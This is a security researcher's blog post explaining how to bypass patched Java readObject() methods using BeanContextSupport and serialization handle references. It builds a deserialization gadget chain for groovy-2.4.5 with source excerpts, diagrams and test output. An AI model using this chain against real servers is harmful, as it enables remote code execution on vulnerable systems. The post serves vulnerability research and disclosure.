Introduction
In Q4 2017 I was pentesting a customer. Shortly before, I had studied json attacks when I stumbled over an internet-facing B2B-portal-type-of-product written in Java they were using (I cannot disclose more details due to responsible disclosure). After a while, I found that one of the server responses sent a serialized Java object, so I downloaded the source code and found a way to make the server deserialize untrusted input. Unfortunately, there was no appropriate gadget available. However, they are using groovy-2.4.5 so when I saw [1] end of december on twitter, I knew I could pwn the target if I succeeded to write a gadget for groovy-2.4.5. This led to this blog post which is based on work by Sam Thomas [2], Wouter Coekaerts [3] and Alvaro Muñoz (pwntester) [4].Be careful when you fix your readObject() implementation...
We'll start by exploring a popular mistake some developers made during the first mitigation attempts, after the first custom gadgets surfaced after the initial discovery of a vulnerability. Let's check out an example, the Jdk7u21 gadget. A brief recap of what it does: It makes use of a hashcode collision that occurs when a specially crafted instance of java.util.LinkedHashSet is deserialized (you need a string with hashcode 0 for this). It uses a java.lang.reflect.Proxy to create a proxied instance of the interface javax.xml.transform.Templates, with sun.reflect.annotation.AnnotationInvocationHandler as InvocationHandler. Ultimately, in an attempt to determine equality of the provided 2 objects the invocation handler calls all argument-less methods of the provided TemplatesImpl class which yields code execution through the malicious byte code inside the TemplatesImpl instance. For further details, check out what the methods AnnotationInvocationHandler.equalsImpl() and TemplatesImpl.newTransletInstance() do (and check out the links related to this gadget).The following diagram, taken from [5], depicts a graphical overview of the architecture of the gadget.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
LinkedHashSet | |
| | | |
| +--> Proxy (Templates) | |
| | | |
| +--> AnnotationInvocationHandler | |
| | | |
| +--> HashMap | |
| | | | |
| | +----> String ("f5a5a608") | |
| | | |
+-----> TemplatesImpl <------+ | |
| | |
+-------> byte[] (malicious class definition) |
In recent Java runtimes, there are in total 3 fixes inside AnnotationInvocationHandler which break this gadget (see epilogue). But let's start with the first and most obvious bug. The code below is from AnnotationInvocationHandler in Java version 1.7.0_21:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private void readObject(ObjectInputStream paramObjectInputStream) | |
throws IOException, ClassNotFoundException | |
{ | |
paramObjectInputStream.defaultReadObject(); | |
AnnotationType localAnnotationType = null; | |
try | |
{ | |
localAnnotationType = AnnotationType.getInstance(this.type); | |
} | |
catch (IllegalArgumentException localIllegalArgumentException) | |
{ | |
return; // <=== Problem!!! this.type is not an annotation! | |
} | |
Map localMap = localAnnotationType.memberTypes(); | |
for (Map.Entry localEntry : this.memberValues.entrySet()) | |
{ | |
String str = (String)localEntry.getKey(); | |
Class localClass = (Class)localMap.get(str); | |
if (localClass != null) | |
{ | |
Object localObject = localEntry.getValue(); | |
if ((!localClass.isInstance(localObject)) && (!(localObject instanceof ExceptionProxy))) { | |
localEntry.setValue(new AnnotationTypeMismatchExceptionProxy(localObject.getClass() + "[" + localObject + "]").setMember((Method)localAnnotationType.members().get(str))); | |
} | |
} | |
} | |
} |
Let's check how this method looks like in Java runtime 1.7.0_80:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private void readObject(ObjectInputStream paramObjectInputStream) | |
throws IOException, ClassNotFoundException | |
{ | |
paramObjectInputStream.defaultReadObject(); | |
AnnotationType localAnnotationType = null; | |
try | |
{ | |
localAnnotationType = AnnotationType.getInstance(this.type); | |
} | |
catch (IllegalArgumentException localIllegalArgumentException) | |
{ | |
throw new InvalidObjectException("Non-annotation type in annotation serial stream"); | |
} | |
Map localMap = localAnnotationType.memberTypes(); | |
for (Map.Entry localEntry : this.memberValues.entrySet()) | |
{ | |
String str = (String)localEntry.getKey(); | |
Class localClass = (Class)localMap.get(str); | |
if (localClass != null) | |
{ | |
Object localObject = localEntry.getValue(); | |
if ((!localClass.isInstance(localObject)) && (!(localObject instanceof ExceptionProxy))) { | |
localEntry.setValue(new AnnotationTypeMismatchExceptionProxy(localObject.getClass() + "[" + localObject + "]").setMember((Method)localAnnotationType.members().get(str))); | |
} | |
} | |
} | |
} |
Let's check out how this bypass works in detail.
A little theory
Let's recap what the Java (De-)Serialization does and what the readObject() method is good for. Let's take the example of java.util.HashMap. An instance of it contains data (key/value pairs) and structural information (something derived from the data) that allows logarithmic access times to your data. When serializing an instance of java.util.HashMap it would not be wise to fully serialize its internal representation. Instead it is completely sufficient to only serialize the data that is required to reconstruct its original state: Metadata (loadfactor, size, ...) followed by the key/value pairs as flat list. Let's have a look at the code:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private void readObject(java.io.ObjectInputStream s) | |
throws IOException, ClassNotFoundException { | |
// Read in the threshold (ignored), loadfactor, and any hidden stuff | |
s.defaultReadObject(); | |
reinitialize(); | |
if (loadFactor <= 0 || Float.isNaN(loadFactor)) | |
throw new InvalidObjectException("Illegal load factor: " + | |
loadFactor); | |
// | |
// ... some more stuff ... | |
// | |
// Read the keys and values, and put the mappings in the HashMap | |
for (int i = 0; i < mappings; i++) { | |
@SuppressWarnings("unchecked") | |
K key = (K) s.readObject(); | |
@SuppressWarnings("unchecked") | |
V value = (V) s.readObject(); | |
putVal(hash(key), key, value, false, false); | |
} | |
} |
In general, it is fair to assume that many readObject() methods look like this:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private void readObject (ObjectInputStream is) | |
throws IOException, ClassNotFoundException { | |
/* | |
* Read all non-transient stuff, e.g. | |
* non-redundant variables, primitive | |
* types etc. | |
* | |
*/ | |
is.defaultReadObject (); | |
/* | |
* take care of transient | |
* attributes, redundant | |
* stuff, etc. | |
* | |
*/ | |
... | |
// some custom code | |
} |
Handcrafted Gadgets
At work we frequently use ysoserial gadgets. I suppose that many readers are probably familiar with the ysoserial payloads and how these are created. A lot of Java reflection, a couple of fancy helper classes doing stuff like setting Fields, creating Proxy and Constructor instances. With "Handcrafted Gadgets" I meant gadgets of a different kind. Gadgets which cannot be created in the fashion ysoserial does (which is: create an instance of a Java object and serialize it). The gadgets I'm talking about are created by compiling a serialization stream manually, token by token. The result is something that can be deserialized but does not represent a legal Java class instance. If you would like to see an example, check out Alvaro's JRE8_20 gadget [4]. But let me not get ahead of myself, let's take a step back and focus on the problem I mentioned at the end of the last paragraph. The problem is that if the developer does not take care when fixing the readObject method, there might be a way to bypass that fix. The JRE8_20 gadget is an example of such a bypass. The original idea was, as already mentioned in the introduction, first described by Wouter Coekaerts [2]. It can be summarized as follows:Idea
The fundamental insight is the fact that many classes are at least partly functional when the default attributes have been instantiated and propagated by the ObjectInputStream.defaultReadObject() method call. This is the case for AnnotationInvocationHandler (in older Java versions, more recent versions don't call this method anymore). The attacker does not need the readObject to successfully terminate, an object instance where the method ObjectInputStream.defaultReadObject() has executed is perfectly okay. However, it is definitely not okay from an attacker's perspective if readObject throws an exception, since, eventually this will break deserialization of the gadget completely. The second very important detail is the fact that if it is possible to suppress somehow the InvalidObjectException (to stick with the AnnotationInvocationHandler example) then it is possible to access the instance of AnnotationInvocationHandler later through references. During the deserialization process ObjectInputStream keeps a cache of various sorts of objects. When AnnotationInvocationHandler.readObject is called an instance of the object is available in that cache.This brings the number of necessary steps to write the gadget down to two. Firstly, store the AnnotationInvocationHandler in the cache by somehow wrapping it such that the exception is suppressed. Secondly, build the original gadget, but replace the AnnotationInvocationHandler in it by a reference to the object located in the cache.
Now let's step through the detailed technical explanation.
References
If one thinks about object serialization and the fact that you can nest objects recursively it is clear that something like references must exist. Think about the following construct:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class A implements Serializable | |
{ | |
B b; | |
}; | |
class B implements Serializable | |
{ | |
C c; | |
} | |
class C implements Serializable | |
{ | |
A a; | |
} | |
public static void main (String [] args) | |
{ | |
A a = new A(); | |
a.b = new B(); | |
a.b.c = new C(); | |
a.b.c.a = a; | |
new ObjectOutputStream (new FileOutputStream ("somefile")).writeObject (a); | |
} |
71 00 7E AB CDwhere AB CD is a short value which represents the array index of the referenced object in the cache. You can easily spot references in the byte stream since hex 71 is "q" and hex 7E is "~":
The wrapper class: BeanContextSupport
Wouter Coekaerts found the class java.beans.beancontext.BeanContextSupport. At some point during deserialization it does the following:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException { | |
int count = serializable; | |
while (count-- > 0) { | |
Object child = null; | |
BeanContextSupport.BCSChild bscc = null; | |
try { | |
child = ois.readObject(); | |
bscc = (BeanContextSupport.BCSChild)ois.readObject(); | |
} catch (IOException ioe) { | |
continue; | |
} catch (ClassNotFoundException cnfe) { | |
continue; | |
} | |
} | |
} |
Let's test this out. I will build a serialized stream with an illegal AnnotationInvocationHandler in it ("illegal" means that the type attribute is not an annotation) and we will see that the stream deserializes properly without throwing an exception. Here is what the structure of this stream will look like:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
+-------------------------------------------+ | |
| HashMap | | |
| | | |
| +----------------------+ | | |
| | BeanContextSupport | | | |
| | | | | |
| | children | | | |
| +-------+--------------+ | | |
| | | | |
| | | | |
| +---v-------------------------+ | | |
| | AnnotationInvocationHandler | | | |
| +-----------------------------+ | | |
| | | |
| +-------------------+ | | |
| | java.lang.String | | | |
| | | | | |
| | whatever | | | |
| +-------------------+ | | |
| | | |
+-------------------------------------------+ |
Click here to see the code on github.com
You need to build Alvaro's project [6] to get the jar file necessary for building this:
kai@CodeVM:~/eworkspace/deser$ javac -cp /home/kai/JRE8u20_RCE_Gadget/target/JRE8Exploit-1.0-SNAPSHOT.jar BCSSerializationTest.java kai@CodeVM:~/eworkspace/deser$ java -cp .:/home/kai/JRE8u20_RCE_Gadget/target/JRE8Exploit-1.0-SNAPSHOT.jar BCSSerializationTest > 4blogpost Writing java.lang.Class at offset 1048 Done writing java.lang.Class at offset 1094 Writing java.util.HashMap at offset 1094 Done writing java.util.HashMap at offset 1172 Adjusting reference from: 6 to: 8 Adjusting reference from: 6 to: 8 Adjusting reference from: 8 to: 10 Adjusting reference from: 9 to: 11 Adjusting reference from: 6 to: 8 Adjusting reference from: 14 to: 16 Adjusting reference from: 14 to: 16 Adjusting reference from: 14 to: 16 Adjusting reference from: 14 to: 16 Adjusting reference from: 17 to: 19 Adjusting reference from: 17 to: 19 kai@CodeVM:~/eworkspace/deser$
A little program that deserializes the created file and prints out the resulting object shows us this:
kai@CodeVM:~/eworkspace/deser$ java -cp ./bin de.cw.deser.Main deserialize 4blogpost {java.beans.beancontext.BeanContextSupport@723279cf=whatever}
This concludes the first part, we successfully wrapped an instance of AnnotationInvocationHandler inside another class such that deserialization completes successfully.
The cache
Now we need to make that instance accessible. First we need to get hold of the cache. In order to do this, we need to debug. We set a breakpoint at the highlighted line in java.util.HashMap:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private void readObject(java.io.ObjectInputStream s) | |
throws IOException, ClassNotFoundException { | |
// Read in the threshold (ignored), loadfactor, and any hidden stuff | |
s.defaultReadObject(); | |
reinitialize(); | |
if (loadFactor <= 0 || Float.isNaN(loadFactor)) | |
throw new InvalidObjectException("Illegal load factor: " + | |
loadFactor); | |
// | |
// ... some more stuff ... | |
// | |
// Read the keys and values, and put the mappings in the HashMap | |
for (int i = 0; i < mappings; i++) { | |
@SuppressWarnings("unchecked") | |
K key = (K) s.readObject(); | |
@SuppressWarnings("unchecked") // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! | |
V value = (V) s.readObject(); // <== B R E A K P O I N T H E R E !!!!! | |
putVal(hash(key), key, value, false, false); | |
} | |
} |
When we open it we can see that number 24 is what we were looking for.
Here is one more interesting thing: If you deserialize with an older patch level of the Java Runtime, the object is initialized as can be seen in the sceenshot below:
If you use a more recent patch level like Java 1.7.0_151 you will see that the attributes memberValues and type are null. This is the effect of the third improvement in the class I've been talking about before. More recent versions don't call defaultReadObject at all, anymore. Instead, they first check if type is an annotation type and only after that they populate the default fields.
Let's do one more little exercise. In the program above in line 150, change
TC_STRING, "whatever",
to
TC_REFERENCE, baseWireHandle + 24,
and run the program again:
kai@CodeVM:~/eworkspace/deser$ java -cp ./bin de.cw.deser.Main deserialize 4blogpost2 {java.beans.beancontext.BeanContextSupport@723279cf=sun.reflect.annotation.AnnotationInvocationHandler@10f87f48}
As you can see, the entry in the handles table can easily be referenced.
Now we'll leave the Jdk7u21 gadget and AnnotationInvocationHandler and build a gadget for groovy 2.4.5 using the techniques outlined above.
A deserialization gadget for groovy-2.4.5
Based on an idea of Sam Thomas (see [2]).The original gadget for version 2.3.9 looks like this:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
AnnotationInvocationHandler | |
+ | |
| | |
+--> Proxy(java.util.Map) | |
+ | |
| | |
+---> ConvertedClosure | |
+ | |
| | |
+---> MethodClosure |
After the original gadget for version 2.3.9 showed up MethodClosure was fixed by adding a method readResolve to the class org.codehaus.groovy.runtime.MethodClosure:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private Object readResolve() | |
{ | |
if (ALLOW_RESOLVE) { | |
return this; | |
} | |
throw new UnsupportedOperationException(); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private void readObject(ObjectInputStream paramObjectInputStream) | |
throws IOException, ClassNotFoundException | |
{ | |
try | |
{ | |
init(new DerValue((byte[])paramObjectInputStream.readObject())); | |
parseEData(this.eData); | |
} | |
catch (Exception localException) | |
{ | |
throw new IOException(localException); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
+-----------------------+ | |
| BeanContextSupport | | |
| | | |
| children | | |
+------+----------------+ | |
| | |
| | |
+--v---------------------+ | |
| KRBError | | |
+-----+------------------+ | |
| | |
| | |
+--v--------------------+ | |
| MethodClosure | | |
+-----------------------+ |
Now it is time to put the pieces together. The complete exploit consists of a hash map with one key/value pair, the BeanContextSupport is the key, the groovy gadget is the value. [1] suggests putting the BeanContextSupport inside the AnnotationInvocationHandler but it has certain advantages for debugging to use the hash map. Final structure looks like this:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
HashMap | |
+ | |
| | |
+----> BeanContextSupport | |
| + | |
| | | |
| +--> KRBError | |
| + | |
| | | |
| +---> MethodClosure <----------------------+ | |
| | | |
| | | |
+----> AnnotationInvocationHandler | | |
+ | | |
| | | |
+--> Proxy(java.util.Map) | | |
+ | | |
| | | |
| | | |
+---> ConvertedClosure | | |
+ | | |
| | | |
+---> Reference (MethodClosure) +--+ |
Epilogue
I had mentioned 3 improvements in AnnotationInvocationHandler but I only provided one code snippet. For the sake of completeness, here are the two:The second fix in jdk1.7.0_80 which already breaks the jdk gadget is a check in equalsImpl:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private Boolean equalsImpl(Object paramObject) | |
{ | |
if (paramObject == this) { | |
return Boolean.valueOf(true); | |
} | |
if (!this.type.isInstance(paramObject)) { | |
return Boolean.valueOf(false); | |
} | |
for (Method localMethod : getMemberMethods()) // -------------------------------------+ | |
{ | | |
... // somewhere here TemplatesImpl.newTransformer is supposed to be invoked ... | | |
} | | |
} | | |
| | |
private Method[] getMemberMethods() <----------------------------------------------------+ | |
{ | |
if (this.memberMethods == null) { | |
this.memberMethods = ((Method[])AccessController.doPrivileged(new PrivilegedAction() | |
{ | |
public Method[] run() | |
{ | |
Method[] arrayOfMethod = AnnotationInvocationHandler.this.type.getDeclaredMethods(); | |
AnnotationInvocationHandler.this.validateAnnotationMethods(arrayOfMethod); // <== will check if method really an annotation method | |
AccessibleObject.setAccessible(arrayOfMethod, true); | |
return arrayOfMethod; | |
} | |
})); | |
} | |
return this.memberMethods; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private void readObject(ObjectInputStream paramObjectInputStream) | |
throws IOException, ClassNotFoundException | |
{ | |
ObjectInputStream.GetField localGetField = paramObjectInputStream.readFields(); | |
Class localClass1 = (Class)localGetField.get("type", null); | |
Map localMap1 = (Map)localGetField.get("memberValues", null); | |
AnnotationType localAnnotationType = null; | |
try | |
{ | |
localAnnotationType = AnnotationType.getInstance(localClass1); | |
} | |
catch (IllegalArgumentException localIllegalArgumentException) | |
{ | |
throw new InvalidObjectException("Non-annotation type in annotation serial stream"); | |
} | |
Map localMap2 = localAnnotationType.memberTypes(); | |
LinkedHashMap localLinkedHashMap = new LinkedHashMap(); | |
for (Map.Entry localEntry : localMap1.entrySet()) | |
{ | |
String str = (String)localEntry.getKey(); | |
Object localObject = null; | |
Class localClass2 = (Class)localMap2.get(str); | |
if (localClass2 != null) | |
{ | |
localObject = localEntry.getValue(); | |
if ((!localClass2.isInstance(localObject)) && (!(localObject instanceof ExceptionProxy))) { | |
localObject = new AnnotationTypeMismatchExceptionProxy(localObject.getClass() + "[" + localObject + "]").setMember( | |
(Method)localAnnotationType.members().get(str)); | |
} | |
} | |
localLinkedHashMap.put(str, localObject); | |
} | |
UnsafeAccessor.setType(this, localClass1); | |
UnsafeAccessor.setMemberValues(this, localLinkedHashMap); | |
} |
References
- https://www.thezdi.com/blog/2017/12/19/apache-groovy-deserialization-a-cunning-exploit-chain-to-bypass-a-patch
- http://www.zerodayinitiative.com/advisories/ZDI-17-044/
- http://wouter.coekaerts.be/2015/annotationinvocationhandler
- https://github.com/pwntester/JRE8u20_RCE_Gadget/blob/master/src/main/java/ExploitGenerator.java
- https://gist.github.com/frohoff/24af7913611f8406eaf3
- https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Groovy1.java